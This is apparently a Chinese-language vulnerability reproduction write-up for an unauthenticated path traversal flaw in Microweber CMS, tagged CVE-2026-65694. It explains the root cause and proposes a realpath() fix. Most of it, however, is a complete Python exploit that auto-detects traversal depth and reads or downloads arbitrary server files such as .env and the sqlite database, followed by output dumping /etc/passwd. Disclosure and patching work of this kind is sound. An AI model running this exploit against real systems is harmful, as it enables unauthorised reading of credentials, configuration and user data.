漏洞概述
|-------------|----------------------------------------------|
| 项目 | 详情 |
| CVE 编号 | CVE-2026-65694 |
| 漏洞类型 | CWE-22 路径穿越 → 未授权任意文件读取 |
| 严重级别 | High (CVSS 3.1: 7.5 , CVSS 4.0: 8.7) |
| CVSS 向量 | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N |
| 影响版本 | Microweber CMS 全部版本 ≤ 2.0.20 |
| 披露日期 | 2026年7月23日 |
| 发现者 | Bobur Abdugafforov |
| 补丁状态 | 修复 PR (#1181) 已提交但未合并,无官方补丁版本 |
漏洞简述
ServeStaticFileController::serveFromUserfiles() 方法从 request-\>path(查询参数)而非 request->route('path')(路由参数)读取文件路径,使 ?path= 查询字符串可覆盖路由中的 {path} 段。同时 normalize_path() 函数不会消除 ../ 目录穿越序列,导致未授权攻击者通过单次 HTTP GET 请求即可读取服务器上的任意文件。
漏洞根因分析
<?php
namespace MicroweberPackages\App\Http\Controllers;
use DateTime;
use Illuminate\Http\Request;
use Illuminate\Http\Response;
use Illuminate\Routing\Controller;
use Illuminate\Support\Facades\File;
class ServeStaticFileContoller extends Controller
{
public $skip_ext = ['php', 'phtml', 'php7'];
public $inline_disposition = ['pdf', 'docx', 'doc', 'xls'];
/**
* @throws \Symfony\Component\HttpKernel\Exception\NotFoundHttpException
*/
public function serveFromUserfiles(Request $request)
{
$path = $request->path;
$path = normalize_path(userfiles_path() . $path, false);
return $this->sendResponse($path, $request);
}
private function sendResponse($path, $request)
{
abort_if(is_null($path), 404);
abort_if(!is_file($path), 404);
//$mime = File::mimeType($path);
$ext = File::extension($path);
$size = File::size($path);
$mtime = filemtime($path);
abort_if(in_array(strtolower($ext), $this->skip_ext), 403);
$mimetype = \GuzzleHttp\Psr7\MimeType::fromExtension($ext);
$headers = [
'Content-Type' => $mimetype,
'Content-Length' => $size,
];
$server = $request->server;
if ($server and $server->has('HTTP_IF_MODIFIED_SINCE') &&
strtotime($server->get('HTTP_IF_MODIFIED_SINCE')) >= $mtime) {
return response(null, 304);
}
$headerEtag = md5($path . $mtime . $size);
if ($server and $server->has('HTTP_IF_NONE_MATCH') &&
$server->get('HTTP_IF_NONE_MATCH') === $headerEtag) {
return response(null, 304);
}
/*
$target = normalize_path(public_path().DS.userfiles_folder_name().DS.$request->path, false);
$target_dir = dirname($target);
mkdir_recursive($target_dir);
// dd($target);
$copy = File::copy($path,$target );*/
return response(
file_get_contents($path),
200,
$headers
)->setLastModified(DateTime::createFromFormat('U', $mtime))->setEtag($headerEtag);
}
}
public function serveFromUserfiles(Request $request)
{
// 漏洞点1: $request->path 读取的是查询参数 ?path=, 而非路由参数 {path}
$path = $request->path;
// 漏洞点2: normalize_path() 不处理 ".." 路径穿越
$path = normalize_path(userfiles_path() . $path, false);
return $this->sendResponse($path, $request);
}
路由注册(无需认证)
Route::any('/userfiles/{path}', [
'uses' => '...ServeStaticFileContoller@serveFromUserfiles'
])->where('path', '.*');
两个关键缺陷
输入覆盖 --- $request->path 通过 Laravel 的 Request::__get() 魔术方法解析:
首先检查 $this->all() 中的 path 键(即 ?path= 查询参数)
如果没有查询参数,才回退到 $this->route('path')
因此 ?path=../../.env 覆盖了 URL 路径中的 {path} 段
查询参数值绕过 URL 路径的 .. 规范化
路径未规范化 --- normalize_path() 仅合并多余的 / 斜杠,不处理 ..,也没有检查解析后的路径是否仍在 userfiles_path() 目录内。PHP 的底层文件系统在读取时完成实际的目录穿越。
修复方案
public function serveFromUserfiles(Request $request)
{
// 修复1: 使用 $request->route('path') 获取路由参数
$requested = (string) $request->route('path');
// 修复2: 使用 realpath() 规范化并检查路径边界
$base = realpath(userfiles_path());
$path = realpath(normalize_path($base . DIRECTORY_SEPARATOR . $requested, false));
abort_if(
$base === false || $path === false
|| strncmp($path, $base . DIRECTORY_SEPARATOR, strlen($base) + 1) !== 0,
404
);
return $this->sendResponse($path, $request);
}
攻击流程
┌─────────────────────────────────────────────────────────────┐
│ Step 1: 攻击者发送精心构造的 GET 请求 │
│ GET /userfiles/x?path=../../../../etc/passwd │
│ Host: target │
├─────────────────────────────────────────────────────────────┤
│ Step 2: Laravel 路由解析 │
│ → {path} = "x" (URL 路径段,被忽略) │
│ → ?path= 覆盖路由参数,传入 traversal payload │
├─────────────────────────────────────────────────────────────┤
│ Step 3: normalize_path() 处理 │
│ → userfiles_path() + "../../../../etc/passwd" │
│ → 仅合并多余斜杠,不解析 ".." │
├─────────────────────────────────────────────────────────────┤
│ Step 4: PHP 文件系统读取 │
│ → PHP 底层文件函数解析 ".." → 路径穿越成功 │
│ → 返回任意文件内容 (除非是 .php/.phtml/.php7) │
└─────────────────────────────────────────────────────────────┘
环境搭建
Docker Desktop
Python 3.x + requests 库


/etc/passwd --- 系统用户
/var/www/html/.env --- Laravel 配置
/var/www/html/storage/database.sqlite --- 完整数据库 (52 表: users, options, customers, personal_access_tokens...)
POC
#!/usr/bin/env python3
import argparse
import sys
import urllib.parse
import requests
requests.packages.urllib3.disable_warnings()
BANNER = r"""
╔══════════════════════════════════════════════════════════════╗
║ Microweber CMS - Unauthenticated Arbitrary File Read ║
║ CVE-2026-65694 (Path Traversal) ║
╚══════════════════════════════════════════════════════════════╝
"""
class MicroweberPathTraversal:
def __init__(self, target: str, proxy: str = None, timeout: int = 30):
self.target = target.rstrip("/")
self.timeout = timeout
self.session = requests.Session()
self.session.verify = False
self.session.headers.update({
"User-Agent": "Mozilla/5.0 (compatible; CVE-2026-65694-PoC)",
})
if proxy:
self.session.proxies = {"http": proxy, "https": proxy}
else:
self.session.proxies = {"http": None, "https": None}
self.base_path = "/userfiles/x"
self.depth = None
self.vulnerable = None
def _make_request(self, path_payload: str):
url = f"{self.target}{self.base_path}?path={urllib.parse.quote(path_payload, safe='')}"
try:
return self.session.get(url, timeout=self.timeout)
except Exception as e:
print(f"[!] Request failed: {e}")
return None
def check(self) -> dict:
result = {
"vulnerable": False,
"depth": None,
"details": [],
}
print("[*] Checking vulnerability status...\n")
for depth in range(2, 11):
traversal = "../" * depth
payload = f"{traversal}etc/passwd"
r = self._make_request(payload)
if r is None:
result["details"].append(f" Depth {depth}: Connection failed")
continue
if r.status_code == 200 and "root:x:0:0" in r.text:
result["vulnerable"] = True
result["depth"] = depth
result["details"].append(
f" Depth {depth}: VULNERABLE - /etc/passwd read successfully"
)
break
elif r.status_code == 200 and len(r.text) > 0:
result["details"].append(
f" Depth {depth}: HTTP 200, {len(r.text)} bytes (unexpected content)"
)
else:
result["details"].append(
f" Depth {depth}: HTTP {r.status_code}"
)
return result
def read_file(self, filepath: str, depth: int = None) -> str:
if depth is None:
if self.depth is None:
auto = self._auto_detect_depth()
if auto is None:
print("[!] Could not auto-detect traversal depth. Use --depth N")
return None
self.depth = auto
depth = self.depth
traversal = "../" * depth
payload = f"{traversal}{filepath.lstrip('/')}"
r = self._make_request(payload)
if r is None:
return None
if r.status_code == 200:
return r.text
else:
print(f"[!] HTTP {r.status_code} - file may not exist or is not readable")
return None
def download_file(self, filepath: str, output: str, depth: int = None):
content = self.read_file(filepath, depth)
if content:
with open(output, 'wb') as f:
f.write(content.encode('utf-8', errors='replace'))
print(f"[+] Saved to: {output} ({len(content)} bytes)")
else:
print(f"[!] Download failed")
def _auto_detect_depth(self) -> int:
print("[*] Auto-detecting traversal depth...")
for depth in range(2, 11):
payload = ("../" * depth) + "etc/passwd"
r = self._make_request(payload)
if r and r.status_code == 200 and "root:x:0:0" in r.text:
print(f"[+] Depth detected: {depth}")
return depth
return None
def main():
parser = argparse.ArgumentParser(
description="Microweber CMS CVE-2026-65694 Path Traversal PoC",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
Examples:
python poc.py --target http://localhost:12347 --check
python poc.py --target http://localhost:12347 --read /etc/passwd
python poc.py --target http://localhost:12347 --read .env
python poc.py --target http://localhost:12347 --download /etc/passwd -o passwd.txt
""",
)
parser.add_argument("--target", "-t", required=True,
help="Target Microweber CMS URL")
parser.add_argument("--check", action="store_true",
help="Check if target is vulnerable")
parser.add_argument("--read", "-r",
help="File path to read from server")
parser.add_argument("--download", "-d",
help="File path to download from server")
parser.add_argument("--output", "-o", default=None,
help="Output file for download")
parser.add_argument("--depth", type=int, default=None,
help="Traversal depth (auto-detected if not specified)")
parser.add_argument("--proxy", "-p",
help="HTTP proxy (e.g., http://127.0.0.1:8080)")
parser.add_argument("--timeout", type=int, default=30,
help="Request timeout (default: 30)")
parser.add_argument("-v", "--verbose", action="store_true",
help="Verbose output")
args = parser.parse_args()
if not any([args.check, args.read, args.download]):
parser.print_help()
print("\n[*] No action specified. Use --check to test vulnerability first.")
sys.exit(0)
exploit = MicroweberPathTraversal(args.target, args.proxy, args.timeout)
print(BANNER)
print(f"[*] Target: {args.target}")
print(f"[*] Base path: {exploit.base_path}\n")
if args.check:
result = exploit.check()
print()
for detail in result["details"]:
print(detail)
print(f"\n{'='*60}")
if result["vulnerable"]:
print(f"[!] TARGET IS VULNERABLE!")
print(f"[!] CVE-2026-65694 confirmed")
print(f"[!] Traversal depth: {result['depth']}")
else:
print("[*] Vulnerability not confirmed")
print("[*] Target may be patched or unreachable")
print(f"{'='*60}")
if args.read:
print(f"\n[*] Reading file: {args.read}")
print(f"{'='*60}")
content = exploit.read_file(args.read, args.depth)
if content:
print(content)
else:
print("[!] Failed to read file")
print(f"{'='*60}")
if args.download:
output = args.output or args.download.split("/")[-1] or "downloaded_file"
print(f"\n[*] Downloading: {args.download} -> {output}")
exploit.download_file(args.download, output, args.depth)
print()
if __name__ == "__main__":
main()
D:\漏洞复现\MicroweberCMS未授权路径穿越漏洞>python poc.py --target http://localhost:12347 --read /etc/passwd
╔══════════════════════════════════════════════════════════════╗
║ Microweber CMS - Unauthenticated Arbitrary File Read ║
║ CVE-2026-65694 (Path Traversal) ║
╚══════════════════════════════════════════════════════════════╝
[*] Target: http://localhost:12347
[*] Base path: /userfiles/x
[*] Reading file: /etc/passwd
============================================================
[*] Auto-detecting traversal depth...
[+] Depth detected: 4
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
============================================================